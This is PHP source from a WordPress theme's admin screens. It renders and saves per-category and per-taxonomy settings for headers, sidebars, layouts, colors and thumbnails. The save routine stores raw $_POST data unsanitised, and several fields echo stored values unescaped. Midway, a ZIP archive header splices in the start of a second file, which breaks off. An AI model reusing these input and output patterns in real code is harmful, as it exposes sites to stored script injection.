						echo '<option value="' . $slug . '" ' . selected( $cat_header, $slug ) . '>' . $name . '</option>';
					} ?>
                </select>
            </td>
        </tr>
        <tr class="form-field" data-panel="header">
            <th scope="row" valign="top">
                <label for="penci_categories[cat_header_builder]"><?php esc_html_e( 'Select Header Builder Layout for this Category', 'soledad' ); ?></label>
            </th>
            <td>
				<?php
				$header_options     = [];
				$header_options[''] = __( 'Default ( follow Customize )', 'soledad' );
				$header_layouts     = get_posts( [
					'post_type'      => 'penci_builder',
					'posts_per_page' => - 1,
				] );
				foreach ( $header_layouts as $header_builder ) {
					$header_options[ $header_builder->post_name ] = $header_builder->post_title;
				}
				?>
                <select name="penci_categories[cat_header_builder]" id="penci_categories[cat_header_builder]">
					<?php
					foreach ( $header_options as $slug => $name ) {
						echo '<option value="' . $slug . '" ' . selected( $cat_header_builder, $slug ) . '>' . $name . '</option>';
					} ?>
                </select>
            </td>
        </tr>
        <tr class="form-field" data-panel="header">
            <th scope="row" valign="top">
                <label for="penci_categories[cat_header_block]"><?php esc_html_e( 'Select Penci Block use as Header Layout for this Category', 'soledad' ); ?></label>
            </th>
            <td>
				<?php
				$header_block_options     = [];
				$header_block_options[''] = __( 'Default ( follow Customize )', 'soledad' );
				$header_block_layouts     = get_posts( [
					'post_type'      => 'penci-block',
					'posts_per_page' => - 1,
				] );
				foreach ( $header_block_layouts as $header_block_name ) {
					$header_block_options[ $header_block_name->post_name ] = $header_block_name->post_title;
				}
				?>
                <select name="penci_categories[cat_header_block]" id="penci_categories[cat_header_block]">
					<?php
					foreach ( $header_block_options as $slug => $name ) {
						echo '<option value="' . $slug . '" ' . selected( $cat_header_block, $slug ) . '>' . $name . '</option>';
					} ?>
                </select>
            </td>
        </tr>
        <tr class="form-field" data-panel="footer">
            <th scope="row" valign="top">
                <label for="penci_categories[cat_footer_single]"><?php esc_html_e( 'Apply this setting to all posts in this category?', 'soledad' ); ?></label>
            </th>
            <td>
				<?php
				$yes_no_options = array(
					''    => __( 'No', 'soledad' ),
					'yes' => __( 'Yes', 'soledad' ),
				);
				?>
                <select name="penci_categories[cat_footer_single]" id="penci_categories[cat_footer_single]">
					<?php
					foreach ( $yes_no_options as $slug => $name ) {
						echo '<option value="' . $slug . '" ' . selected( $cat_footer_single, $slug ) . '>' . $name . '</option>';
					} ?>
                </select>
            </td>
        </tr>
        <tr class="form-field" data-panel="footer">
            <th scope="row" valign="top">
                <label for="penci_categories[cat_footer]"><?php esc_html_e( 'Select Footer Builder for this Category', 'soledad' ); ?></label>
            </th>
            <td>
                <select name="penci_categories[cat_footer]" id="penci_categories[cat_footer]">
                    <option value="">Default ( follow Customize )</option>
					<?php
					$footer_layouts = get_posts( [
						'post_type'      => 'penci-block',
						'posts_per_page' => - 1,
					] );
					foreach ( $footer_layouts as $footer ) {
						$footer_layout[ $footer->ID ] = $footer->post_title;
					}
					foreach ( $footer_layout as $slug => $name ) {
						echo '<option value="' . $slug . '" ' . selected( $cat_footer_builder, $slug ) . '>' . $name . '</option>';
					} ?>
                </select>
            </td>
        </tr>
        <tr class="form-field" data-panel="sidebar">
            <th scope="row" valign="top">
                <label for="penci_categories[cat_sidebar_single]"><?php esc_html_e( 'Apply these settings to all posts in this category?', 'soledad' ); ?></label>
            </th>
            <td>
				<?php
				$yes_no_options = array(
					''    => __( 'No', 'soledad' ),
					'yes' => __( 'Yes', 'soledad' ),
				);
				?>
                <select name="penci_categories[cat_sidebar_single]" id="penci_categories[cat_sidebar_single]">
					<?php
					foreach ( $yes_no_options as $slug => $name ) {
						echo '<option value="' . $slug . '" ' . selected( $cat_sidebar_single, $slug ) . '>' . $name . '</option>';
					} ?>
                </select>
            </td>
        </tr>
        <tr class="form-field" data-panel="sidebar">
            <th scope="row" valign="top">
                <label for="penci_categories[cat_sidebar_display]"><?php esc_html_e( 'Display Sidebar on this Category', 'soledad' ); ?></label>
            </th>
            <td>
                <select name="penci_categories[cat_sidebar_display]" id="penci_categories[cat_sidebar_display]">
                    <option value="">Default ( follow Customize )</option>
                    <option value="left" <?php selected( $cat_sidebar_display, 'left' ); ?>><?php _e( 'Left Sidebar', 'soledad' ); ?></option>
                    <option value="right" <?php selected( $cat_sidebar_display, 'right' ); ?>><?php _e( 'Right Sidebar', 'soledad' ); ?></option>
                    <option value="two" <?php selected( $cat_sidebar_display, 'two' ); ?>><?php _e( 'Two Sidebar', 'soledad' ); ?></option>
                    <option value="no" <?php selected( $cat_sidebar_display, 'no' ); ?>><?php _e( 'No Sidebar', 'soledad' ); ?></option>
                </select>
            </td>
        </tr>
        <tr class="form-field" data-panel="sidebar">
            <th scope="row" valign="top">
                <label for="penci_categories[cat_sidebar]"><?php esc_html_e( 'Select Custom Sidebar for This Category', 'soledad' ); ?></label>
            </th>
            <td>
                <select name="penci_categories[cat_sidebar]" id="penci_categories[cat_sidebar]">
                    <option value=""><?php _e( 'Default ( follow Customize )', 'soledad' ); ?></option>
                    <option value="main-sidebar" <?php selected( $cat_sidebar, 'main-sidebar' ); ?>><?php _e( 'Main Sidebar', 'soledad' ); ?>
                    </option>
                    <option value="custom-sidebar-1" <?php selected( $cat_sidebar, 'custom-sidebar-1' ); ?>><?php _e( 'Custom Sidebar 1', 'soledad' ); ?>
                    </option>
                    <option value="custom-sidebar-2" <?php selected( $cat_sidebar, 'custom-sidebar-2' ); ?>><?php _e( 'Custom Sidebar 2', 'soledad' ); ?>
                    </option>
                    <option value="custom-sidebar-3" <?php selected( $cat_sidebar, 'custom-sidebar-3' ); ?>><?php _e( 'Custom Sidebar 3', 'soledad' ); ?>
                    </option>
                    <option value="custom-sidebar-4" <?php selected( $cat_sidebar, 'custom-sidebar-4' ); ?>><?php _e( 'Custom Sidebar 4', 'soledad' ); ?>
                    </option>
                    <option value="custom-sidebar-5" <?php selected( $cat_sidebar, 'custom-sidebar-5' ); ?>><?php _e( 'Custom Sidebar 5', 'soledad' ); ?>
                    </option>
                    <option value="custom-sidebar-6" <?php selected( $cat_sidebar, 'custom-sidebar-6' ); ?>><?php _e( 'Custom Sidebar 6', 'soledad' ); ?>
                    </option>
                    <option value="custom-sidebar-7" <?php selected( $cat_sidebar, 'custom-sidebar-7' ); ?>><?php _e( 'Custom Sidebar 7', 'soledad' ); ?>
                    </option>
                    <option value="custom-sidebar-8" <?php selected( $cat_sidebar, 'custom-sidebar-8' ); ?>><?php _e( 'Custom Sidebar 8', 'soledad' ); ?>
                    </option>
                    <option value="custom-sidebar-9" <?php selected( $cat_sidebar, 'custom-sidebar-9' ); ?>><?php _e( 'Custom Sidebar 9', 'soledad' ); ?>
                    </option>
                    <option value="custom-sidebar-10" <?php selected( $cat_sidebar, 'custom-sidebar-10' ); ?>><?php _e( 'Custom Sidebar 10', 'soledad' ); ?>
                    </option>
					<?php Penci_Custom_Sidebar::get_list_sidebar( $cat_sidebar ); ?>
                </select>
            </td>
        </tr>
        <tr class="form-field" data-panel="sidebar">
            <th scope="row" valign="top">
                <label for="penci_categories[cat_sidebar_left]"><?php esc_html_e( 'Select Custom Sidebar Left for This Category', 'soledad' ); ?></label>
            </th>
            <td>
                <select name="penci_categories[cat_sidebar_left]" id="penci_categories[cat_sidebar_left]">
                    <option value=""><?php _e( 'Default ( follow Customize )', 'soledad' ); ?></option>
                    <option value="main-sidebar" <?php selected( $cat_sidebar_left, 'main-sidebar' ); ?>><?php _e( 'Main Sidebar', 'soledad' ); ?>
                    </option>
                    <option value="custom-sidebar-1" <?php selected( $cat_sidebar_left, 'custom-sidebar-1' ); ?>><?php _e( 'Custom                        Sidebar 1', 'soledad' ); ?>                    </option>
                    <option value="custom-sidebar-2" <?php selected( $cat_sidebar_left, 'custom-sidebar-2' ); ?>><?php _e( 'Custom                        Sidebar 2', 'soledad' ); ?>                    </option>
                    <option value="custom-sidebar-3" <?php selected( $cat_sidebar_left, 'custom-sidebar-3' ); ?>><?php _e( 'Custom                        Sidebar 3', 'soledad' ); ?>                    </option>
                    <option value="custom-sidebar-4" <?php selected( $cat_sidebar_left, 'custom-sidebar-4' ); ?>><?php _e( 'Custom                        Sidebar 4', 'soledad' ); ?>                    </option>
                    <option value="custom-sidebar-5" <?php selected( $cat_sidebar_left, 'custom-sidebar-5' ); ?>><?php _e( 'Custom                        Sidebar 5', 'soledad' ); ?>                    </option>
                    <option value="custom-sidebar-6" <?php selected( $cat_sidebar_left, 'custom-sidebar-6' ); ?>><?php _e( 'Custom                        Sidebar 6', 'soledad' ); ?>                    </option>
                    <option value="custom-sidebar-7" <?php selected( $cat_sidebar_left, 'custom-sidebar-7' ); ?>><?php _e( 'Custom                        Sidebar 7', 'soledad' ); ?>                    </option>
                    <option value="custom-sidebar-8" <?php selected( $cat_sidebar_left, 'custom-sidebar-8' ); ?>><?php _e( 'Custom                        Sidebar 8', 'soledad' ); ?>                    </option>
                    <option value="custom-sidebar-9" <?php selected( $cat_sidebar_left, 'custom-sidebar-9' ); ?>><?php _e( 'Custom                        Sidebar 9', 'soledad' ); ?>                    </option>
                    <option value="custom-sidebar-10" <?php selected( $cat_sidebar_left, 'custom-sidebar-10' ); ?>>                        <?php _e( 'Custom Sidebar 10', 'soledad' ); ?>                    </option>
					<?php Penci_Custom_Sidebar::get_list_sidebar( $cat_sidebar_left ); ?>
                </select>
            </td>
        </tr>
        <tr class="form-field" data-panel="general">
            <th scope="row" valign="top">
                <label for="penci_categories[mag_layout]"><?php esc_html_e( 'Select Featured Layout for Magazine Layout', 'soledad' ); ?></label>
            </th>
            <td>
                <select name="penci_categories[mag_layout]" id="penci_categories[mag_layout]">
                    <option value="style-1" <?php selected( $mag_layout, 'style-1' ); ?>><?php _e( 'Style 1 - 1st Post Grid                        Featured on Left', 'soledad' ); ?>                    </option>
                    <option value="style-2" <?php selected( $mag_layout, 'style-2' ); ?>><?php _e( 'Style 2 - 1st Post Grid                        Featured on Top', 'soledad' ); ?>                    </option>
                    <option value="style-3" <?php selected( $mag_layout, 'style-3' ); ?>><?php _e( 'Style 3 - Text Overlay', 'soledad' ); ?></option>
                    <option value="style-4" <?php selected( $mag_layout, 'style-4' ); ?>><?php _e( 'Style 4 - Single Slider', 'soledad' ); ?>                    </option>
                    <option value="style-5" <?php selected( $mag_layout, 'style-5' ); ?>><?php _e( 'Style 5 - Slider 2 Columns', 'soledad' ); ?>                    </option>
                    <option value="style-6" <?php selected( $mag_layout, 'style-6' ); ?>><?php _e( 'Style 6 - 1st Post List                        Featured on Top', 'soledad' ); ?>                    </option>
                    <option value="style-7" <?php selected( $mag_layout, 'style-7' ); ?>><?php _e( 'Style 7 - Grid 2 Columns', 'soledad' ); ?></option>
                    <option value="style-8" <?php selected( $mag_layout, 'style-8' ); ?>><?php _e( 'Style 8 - List Layout', 'soledad' ); ?></option>
                    <option value="style-9" <?php selected( $mag_layout, 'style-9' ); ?>><?php _e( 'Style 9 - Small List Layout', 'soledad' ); ?>                    </option>
                    <option value="style-10" <?php selected( $mag_layout, 'style-10' ); ?>><?php _e( 'Style 10 - 2 First Posts                        Featured and List', 'soledad' ); ?>                    </option>
                    <option value="style-11" <?php selected( $mag_layout, 'style-11' ); ?>><?php _e( 'Style 11 - Text Overlay                        Center', 'soledad' ); ?>                    </option>
                    <option value="style-12" <?php selected( $mag_layout, 'style-12' ); ?>><?php _e( 'Style 12 - Slider 3 Columns', 'soledad' ); ?>                    </option>
                    <option value="style-13" <?php selected( $mag_layout, 'style-13' ); ?>><?php _e( 'Style 13 - Grid 3 Columns', 'soledad' ); ?>                    </option>
                    <option value="style-14" <?php selected( $mag_layout, 'style-14' ); ?>><?php _e( 'Style 14 - 1st Post Overlay                        Featured on Top', 'soledad' ); ?>                    </option>
                    <option value="style-15" <?php selected( $mag_layout, 'style-15' ); ?>><?php _e( 'Style 15 - Overlay Left then                        List on Right', 'soledad' ); ?>                    </option>
                </select>
                <p class="description"><?php _e( 'Use it to change the featured layout for this category when you use this layout as a featured category. Check more on <a href="https://www.youtube.com/watch?v=ajTm4J34DF0&list=PL1PBMejQ2VTwp9ppl8lTQ9Tq7I3FJTT04&index=7" target="_blank">this video tutorial</a>', 'soledad' ); ?></p>
            </td>
        </tr>
        <tr class="form-field" data-panel="general">
            <th scope="row" valign="top">
                <label for="penci_categories[mag_ads]"><?php esc_html_e( 'Add Google Adsense/Custom HTML Code below this category', 'soledad' ); ?></label>
            </th>
            <td>
				<textarea name="penci_categories[mag_ads]" id="penci_categories[mag_ads]" rows="5"
                          cols="50"><?php echo stripslashes( $mag_ads ); ?></textarea>
            </td>
        </tr>
		<?php
		$archive_layout   = array();
		$archive_layout[] = __( 'Default Template', 'soledad' );
		$archive_layouts  = get_posts(
			array(
				'post_type'      => 'archive-template',
				'posts_per_page' => - 1,
				'meta_query'     => array(
					'relation' => 'OR',
					array(
						'key'     => 'penci_desktop_page_id',
						'compare' => 'NOT EXISTS',
					),
					array(
						'key'     => 'penci_desktop_page_id',
						'value'   => '',
						'compare' => '=',
					),
				),
			)
		);
		foreach ( $archive_layouts as $alayout ) {
			$archive_layout[ $alayout->post_name ] = $alayout->post_title;
		}
		?>
        <tr class="form-field" data-panel="general">
            <th scope="row" valign="top">
                <label for="penci_categories[penci_archive_layout]"><?php esc_html_e( 'Select Custom Archive Template for this Category', 'soledad' ); ?></label>
            </th>
            <td>
                <select name="penci_categories[penci_archive_layout]" id="penci_categories[penci_archive_layout]">
					<?php foreach ( $archive_layout as $alayout_slug => $alayout_name ) : ?>
                        <option value="<?php echo $alayout_slug; ?>" <?php selected( $alayout_slug, $alayout_save_slug ); ?>><?php echo $alayout_name; ?></option>
					<?php endforeach; ?>
                </select>
            </td>
        </tr>
        <tr class="form-field" data-panel="colors">
            <th scope="row" valign="top">
                <label for="penci_categories[cat_colors_single]"><?php esc_html_e( 'Apply these settings to all posts in this category?', 'soledad' ); ?></label>
            </th>
            <td>
				<?php
				$yes_no_options = array(
					''    => __( 'No', 'soledad' ),
					'yes' => __( 'Yes', 'soledad' ),
				);
				?>
                <select name="penci_categories[cat_colors_single]" id="penci_categories[cat_colors_single]">
					<?php
					foreach ( $yes_no_options as $slug => $name ) {
						echo '<option value="' . $slug . '" ' . selected( $cat_sidebar_single, $slug ) . '>' . $name . '</option>';
					} ?>
                </select>
            </td>
        </tr>
        <tr class="form-field" data-panel="colors">
            <th scope="row" valign="top">
                <label for="penci_categories[penci_archive_acolor]"><?php esc_html_e( 'Category Accent Color', 'soledad' ); ?></label>
            </th>
            <td>
                <input class="widefat pccat-color-picker color-picker"
                       id="penci_categories[penci_archive_acolor]"
                       name="penci_categories[penci_archive_acolor]" type="text"
                       value="<?php echo $archive_acolor; ?>"/>
            </td>
        </tr>
        <tr class="form-field" data-panel="colors">
            <th scope="row" valign="top">
                <label for="penci_categories[penci_archive_gtextcolor]"><?php esc_html_e( 'General Text Color', 'soledad' ); ?></label>
            </th>
            <td>
                <input class="widefat pccat-color-picker color-picker"
                       id="penci_categories[penci_archive_gtextcolor]"
                       name="penci_categories[penci_archive_gtextcolor]" type="text"
                       value="<?php echo $penci_archive_gtextcolor; ?>"/>
            </td>
        </tr>
        <tr class="form-field" data-panel="colors">
            <th scope="row" valign="top">
                <label for="penci_categories[penci_archive_cbgcolor]"><?php esc_html_e( 'Custom Background Color for Body', 'soledad' ); ?></label>
            </th>
            <td>
                <input class="widefat pccat-color-picker color-picker"
                       id="penci_categories[penci_archive_cbgcolor]"
                       name="penci_categories[penci_archive_cbgcolor]" type="text"
                       value="<?php echo $penci_archive_cbgcolor; ?>"/>
            </td>
        </tr>
        <tr class="form-field" data-panel="colors">
            <th scope="row" valign="top">
                <label for="penci_categories[penci_archive_bdcolor]"><?php esc_html_e( 'Custom General Borders Color', 'soledad' ); ?></label>
            </th>
            <td>
                <input class="widefat pccat-color-picker color-picker"
                       id="penci_categories[penci_archive_bdcolor]"
                       name="penci_categories[penci_archive_bdcolor]" type="text"
                       value="<?php echo $penci_archive_bdcolor; ?>"/>
            </td>
        </tr>
        <tr class="form-field" data-panel="colors">
            <th scope="row" valign="top">
                <label for="penci_categories[penci_archive_bgcolor]"><?php esc_html_e( 'Category Name Background Color', 'soledad' ); ?></label>
            </th>
            <td>
                <input class="widefat pccat-color-picker color-picker"
                       id="penci_categories[penci_archive_bgcolor]"
                       name="penci_categories[penci_archive_bgcolor]" type="text"
                       value="<?php echo $archive_bgcolor; ?>"/>
            </td>
        </tr>
        <tr class="form-field" data-panel="colors">
            <th scope="row" valign="top">
                <label for="penci_categories[penci_archive_color]"><?php esc_html_e( 'Category Name Text Color', 'soledad' ); ?></label>
            </th>
            <td>
                <input class="widefat pccat-color-picker color-picker"
                       id="penci_categories[penci_archive_color]"
                       name="penci_categories[penci_archive_color]" type="text"
                       value="<?php echo $archive_color; ?>"/>
            </td>
        </tr>
        <tr class="form-field" data-panel="colors">
            <th scope="row" valign="top">
                <label for="penci_categories[penci_archivepage_color]"><?php esc_html_e( 'Category Text Color on Category Page (Apply for Penci Cat Default Style)', 'soledad' ); ?></label>
            </th>
            <td>
                <input class="widefat pccat-color-picker color-picker"
                       id="penci_categories[penci_archivepage_color]"
                       name="penci_categories[penci_archivepage_color]" type="text"
                       value="<?php echo $archivepage_color; ?>"/>
            </td>
        </tr>

		<?php if ( get_theme_mod( 'penci_speed_remove_css' ) ) : ?>
            <tr class="form-field" data-panel="general">
                <th scope="row">
                    <label for="penci_categories[penci_critical_css]"><?php esc_html_e( 'Create a Separate Critical CSS cache for this Category?', 'soledad' ); ?></label>
                </th>
                <td>
                    <select name="penci_categories[penci_critical_css]" id="penci_categories[penci_critical_css]">
                        <option value=""><?php _e( 'No', 'soledad' ); ?></option>
                        <option value="yes" <?php selected( $penci_critical_css, 'yes' ); ?>><?php _e( 'Yes', 'soledad' ); ?></option>
                    </select>
                </td>
            </tr>
		<?php
		endif;
		echo '</tbody></table></div>';
	}
}

// Save data
if ( ! function_exists( 'penci_save_category_fileds_meta' ) ) {

	add_action( 'init', function () {
		$post_taxonomies = get_object_taxonomies( 'post' );

		foreach ( $post_taxonomies as $tname ) {
			add_action( 'edited_' . $tname, 'penci_save_category_fileds_meta' );
		}
	} );

	function penci_save_category_fileds_meta( $term_id ) {
		if ( isset( $_POST['penci_categories'] ) ) {
			$t_id             = $term_id;
			$penci_categories = get_option( "category_$t_id" );
			$cat_keys         = array_keys( $_POST['penci_categories'] );
			foreach ( $cat_keys as $key ) {
				if ( isset( $_POST['penci_categories'][ $key ] ) ) {
					$penci_categories[ $key ] = $_POST['penci_categories'][ $key ];
				}
			}
			// save the option array
			update_option( "category_$t_id", $penci_categories );
		} else if ( isset( $_POST['penci_term_data'] ) ) {
			$option_name = 'penci_tax_' . $term_id;

			$penci_term_data = get_option( $option_name );
			$cat_keys        = array_keys( $_POST['penci_term_data'] );
			foreach ( $cat_keys as $key ) {
				if ( isset( $_POST['penci_term_data'][ $key ] ) && $key ) {
					$penci_term_data[ $key ] = $_POST['penci_term_data'][ $key ];
				}
			}

			update_option( $option_name, $penci_term_data );

		}
	}
}


// add thumbnail meta
// Create markup
if ( ! function_exists( 'penci_term_fields_meta' ) ) {

	add_action(
		'init',
		function () {
			$post_taxonomies = get_object_taxonomies( 'post' );

			foreach ( $post_taxonomies as $tname ) {
				if ( $tname != 'category' ) {
					add_action( $tname . '_edit_form', 'penci_term_fields_meta' );
				}
			}
		}
	);

	function penci_term_fields_meta( $tag ) {
		$t_id                     = $tag->term_id;
		$tax_data                 = get_taxonomy( $tag->taxonomy );
		$option_name              = 'penci_tax_' . $t_id;
		$penci_categories         = get_option( $option_name );
		$default_thumb            = PENCI_SOLEDAD_URL . '/images/nothumb.jpg';
		$thumb_id                 = isset( $penci_categories['thumbnail_id'] ) ? $penci_categories['thumbnail_id'] : '';
		$archive_acolor           = isset( $penci_categories['penci_archive_acolor'] ) ? $penci_categories['penci_archive_acolor'] : '';
		$penci_archive_gtextcolor = isset( $penci_categories['penci_archive_gtextcolor'] ) ? $penci_categories['penci_archive_gtextcolor'] : '';
		$penci_archive_cbgcolor   = isset( $penci_categories['penci_archive_cbgcolor'] ) ? $penci_categories['penci_archive_cbgcolor'] : '';
		$penci_archive_bdcolor    = isset( $penci_categories['penci_archive_bdcolor'] ) ? $penci_categories['penci_archive_bdcolor'] : '';
		$cat_header               = isset( $penci_categories['cat_header'] ) ? $penci_categories['cat_header'] : '';
		$cat_header_builder       = isset( $penci_categories['cat_header_builder'] ) ? $penci_categories['cat_header_builder'] : '';
		$cat_header_block         = isset( $penci_categories['cat_header_block'] ) ? $penci_categories['cat_header_block'] : '';
		$thumb_url                = $thumb_id ? wp_get_attachment_image_url( $penci_categories['thumbnail_id'] ) : $default_thumb;
		?>
        <div class="penci-cat-option-forms-ul">
            <ul>
                <li><a data-panel="general" class="active" href="#"><?php _e( 'Colors', 'soledad' ); ?></a></li>
                <li><a data-panel="header" href="#"><?php _e( 'Header', 'soledad' ); ?></a></li>
            </ul>
        </div>
        <div class="penci-cat-option-forms">
            <table class="form-table" role="presentation">
                <tbody>
                <tr class="form-field" data-panel="general">
                    <th scope="row" valign="top">
                        <label for="penci_term_data[penci_archive_acolor]"><?php echo sprintf( esc_html__( '%s Accent Color', 'soledad' ), $tax_data->labels->singular_name ); ?></label>
                    </th>
                    <td>
                        <input class="widefat pccat-color-picker color-picker"
                               id="penci_term_data[penci_archive_acolor]"
                               name="penci_term_data[penci_archive_acolor]" type="text"
                               value="<?php echo $archive_acolor; ?>"/>
                    </td>
                </tr>
                <tr class="form-field" data-panel="general">
                    <th scope="row" valign="top">
                        <label for="penci_term_data[penci_archive_gtextcolor]"><?php esc_html_e( 'General Text Color', 'soledad' ); ?></label>
                    </th>
                    <td>
                        <input class="widefat pccat-color-picker color-picker"
                               id="penci_term_data[penci_archive_gtextcolor]"
                               name="penci_term_data[penci_archive_gtextcolor]" type="text"
                               value="<?php echo $penci_archive_gtextcolor; ?>"/>
                    </td>
                </tr>
                <tr class="form-field" data-panel="general">
                    <th scope="row" valign="top">
                        <label for="penci_term_data[penci_archive_cbgcolor]"><?php esc_html_e( 'Custom Background Color for Body', 'soledad' ); ?></label>
                    </th>
                    <td>
                        <input class="widefat pccat-color-picker color-picker"
                               id="penci_term_data[penci_archive_cbgcolor]"
                               name="penci_term_data[penci_archive_cbgcolor]" type="text"
                               value="<?php echo $penci_archive_cbgcolor; ?>"/>
                    </td>
                </tr>
                <tr class="form-field" data-panel="general">
                    <th scope="row" valign="top">
                        <label for="penci_term_data[penci_archive_bdcolor]"><?php esc_html_e( 'Custom General Borders Color', 'soledad' ); ?></label>
                    </th>
                    <td>
                        <input class="widefat pccat-color-picker color-picker"
                               id="penci_term_data[penci_archive_bdcolor]"
                               name="penci_term_data[penci_archive_bdcolor]" type="text"
                               value="<?php echo $penci_archive_bdcolor; ?>"/>
                    </td>
                </tr>
                <tr class="form-field" data-panel="header">
                    <th scope="row" valign="top">
                        <label for="cat_header"><?php echo sprintf( esc_html__( 'Select Header Layout for this %s', 'soledad' ), $tax_data->labels->singular_name ); ?></label>
                    </th>
                    <td>
						<?php
						$header_layout_options = array(
							''          => __( 'Default ( follow Customize )', 'soledad' ),
							'header-1'  => __( 'Header 1', 'soledad' ),
							'header-2'  => __( 'Header 2', 'soledad' ),
							'header-3'  => __( 'Header 3', 'soledad' ),
							'header-4'  => __( 'Header 4 ( Centered )', 'soledad' ),
							'header-5'  => __( 'Header 5 ( Centered )', 'soledad' ),
							'header-6'  => __( 'Header 6', 'soledad' ),
							'header-7'  => __( 'Header 7', 'soledad' ),
							'header-8'  => __( 'Header 8', 'soledad' ),
							'header-9'  => __( 'Header 9', 'soledad' ),
							'header-10' => __( 'Header 10', 'soledad' ),
							'header-11' => __( 'Header 11', 'soledad' ),
						);
						?>
                        <select name="penci_term_data[cat_header]" id="penci_term_data[cat_header]">
							<?php
							foreach ( $header_layout_options as $slug => $name ) {
								echo '<option value="' . $slug . '" ' . selected( $cat_header, $slug ) . '>' . $name . '</option>';
							} ?>
                        </select>
                    </td>
                </tr>
                <tr class="form-field" data-panel="header">
                    <th scope="row" valign="top">
                        <label for="cat_header_builder"><?php echo sprintf( esc_html__( 'Select Header Builder Layout for this %s', 'soledad' ), $tax_data->labels->singular_name ); ?></label>
                    </th>
                    <td>
						<?php
						$header_options     = [];
						$header_options[''] = __( 'Default ( follow Customize )', 'soledad' );
						$header_layouts     = get_posts( [
							'post_type'      => 'penci_builder',
							'posts_per_page' => - 1,
						] );
						foreach ( $header_layouts as $header_builder ) {
							$header_options[ $header_builder->post_name ] = $header_builder->post_title;
						}
						?>
                        <select name="penci_term_data[cat_header_builder]" id="penci_term_data[cat_header_builder]">
							<?php
							foreach ( $header_options as $slug => $name ) {
								echo '<option value="' . $slug . '" ' . selected( $cat_header_builder, $slug ) . '>' . $name . '</option>';
							} ?>
                        </select>
                    </td>
                </tr>
                <tr class="form-field" data-panel="header">
                    <th scope="row" valign="top">
                        <label for="penci_term_data[cat_header_block]"><?php echo sprintf( esc_html__( 'Select Penci Block use as Header for this %s', 'soledad' ), $tax_data->labels->singular_name ); ?></label>
                    </th>
                    <td>
                        <?php
                        $header_block_options     = [];
                        $header_block_options[''] = __( 'Default ( follow Customize )', 'soledad' );
                        $header_block_layouts     = get_posts( [
                            'post_type'      => 'penci-block',
                            'posts_per_page' => - 1,
                        ] );
                        foreach ( $header_block_layouts as $header_block_name ) {
                            $header_block_options[ $header_block_name->post_name ] = $header_block_name->post_title;
                        }
                        ?>
                        <select name="penci_term_data[cat_header_block]" id="penci_term_data[cat_header_block]">
                            <?php
                            foreach ( $header_block_options as $slug => $name ) {
                                echo '<option value="' . $slug . '" ' . selected( $cat_header_block, $slug ) . '>' . $name . '</option>';
                            } ?>
                        </select>
                    </td>
                </tr>
                <tr class="form-field term-thumbnail-wrap" data-panel="general">
                    <th scope="row" valign="top">
                        <label><?php esc_html_e( 'Thumbnail', 'soledad' ); ?></label>
                    </th>
                    <td>

                        <div id="pc_term_thumbnail" style="margin-bottom:10px;"><img
                                    src="<?php echo esc_url( $thumb_url ); ?>" width="60px" height="60px"/></div>

                        <div style="line-height: 60px;">
                            <input type="hidden" value="<?php echo $thumb_id; ?>" id="penci_categories_thumbnail_id"
                                   name="penci_term_data[thumbnail_id]"/>
                            <button type="button"
                                    class="upload_image_button button"><?php esc_html_e( 'Upload/Add image', 'soledad' ); ?></button>
                            <button type="button"
                                    class="remove_image_button button"><?php esc_html_e( 'Remove image', 'soledad' ); ?></button>
                        </div>
                    <td>
                        <script type="text/javascript">

                          // Only show the "remove image" button when needed
                          if (!jQuery('#penci_categories_thumbnail_id').val()) {
                            jQuery('.remove_image_button').hide()
                          }

                          // Uploading files
                          var file_frame

                          jQuery(document).on('click', '.upload_image_button', function (event) {

                            event.preventDefault()

                            // If the media frame already exists, reopen it.
                            if (file_frame) {
                              file_frame.open()
                              return
                            }

                            // Create the media frame.
                            file_frame = wp.media.frames.downloadable_file = wp.media({
                              title: '<?php esc_html_e( 'Choose an image', 'soledad' ); ?>',
                              button: {
                                text: '<?php esc_html_e( 'Use image', 'soledad' ); ?>',
                              },
                              multiple: false,
                            })

                            // When an image is selected, run a callback.
                            file_frame.on('select', function () {
                              var attachment = file_frame.state().get('selection').first().toJSON()
                              var attachment_thumbnail = attachment.sizes.thumbnail || attachment.sizes.full

                              jQuery('#penci_categories_thumbnail_id').val(attachment.id)
                              jQuery('#pc_term_thumbnail').find('img').attr('src', attachment_thumbnail.url)
                              jQuery('.remove_image_button').show()
                            })

                            // Finally, open the modal.
                            file_frame.open()
                          })

                          jQuery(document).on('click', '.remove_image_button', function () {
                            jQuery('#pc_term_thumbnail').
                              find('img').
                              attr('src', '<?php echo esc_js( $default_thumb ); ?>')
                            jQuery('#penci_categories_thumbnail_id').val('')
                            jQuery('.remove_image_button').hide()
                            return false
                          })

                          jQuery(document).ajaxComplete(function (event, request, options) {
                            if (request && 4 === request.readyState && 200 === request.status
                              && options.data && 0 <= options.data.indexOf('action=add-tag')) {

                              var res = wpAjax.parseAjaxResponse(request.responseXML, 'ajax-response')
                              if (!res || res.errors) {
                                return
                              }
                              // Clear Thumbnail fields on submit
                              jQuery('#pc_term_thumbnail').
                                find('img').
                                attr('src', '<?php echo esc_js( $default_thumb ); ?>')
                              jQuery('#penci_categories_thumbnail_id').val('')
                              jQuery('.remove_image_button').hide()
                              // Clear Display type field on submit
                              jQuery('#display_type').val('')
                              return
                            }
                          })

                        </script>
                </tr>

                </tbody>
            </table>
        </div>

		<?php
	}
}
PK     0w\ke  e    meta-box/meta-box-array.phpnu [        <?php
if ( ! defined( 'ABSPATH' ) ) {
	exit;
}
if( ! class_exists( 'PENCI_FW_MetaBox' ) ):
	class PENCI_FW_MetaBox{

		private static $_instance = null;

		public static function instance() {
			if ( is_null( self::$_instance ) ) {
				self::$_instance = new self();
			}
			return self::$_instance;
		}

		public function __construct() {

			// Uses priority 20 to support custom port types registered using the default priority.
			add_action( 'init', array( $this, 'register_meta_boxes' ), 20 );

			add_action( 'admin_enqueue_scripts', array( $this, 'add_admin_scripts' ), 10, 1 );

			$this->load_files();
		}

		public function load_files() {
			// Creating meta boxes
			require_once  PENCI_SOLEDAD_DIR . '/inc/meta-box/inc/add-meta-box.php';
			require_once  PENCI_SOLEDAD_DIR . '/inc/meta-box/inc/fields.php';
			require_once  PENCI_SOLEDAD_DIR . '/inc/meta-box/register/page.php';
		}

		/**
		 * Register meta boxes.
		 */
		public function register_meta_boxes() {
			$configs = apply_filters( 'penci_meta_boxes', array() );

			foreach ( $configs as $config ) {
				new Penci_Add_Meta_Box( $config );
			}
		}

		/**
		 * Enqueue scripts on custom post add/edit pages
		 *
		 * @param $hook
		 */
		function add_admin_scripts( $hook ) {
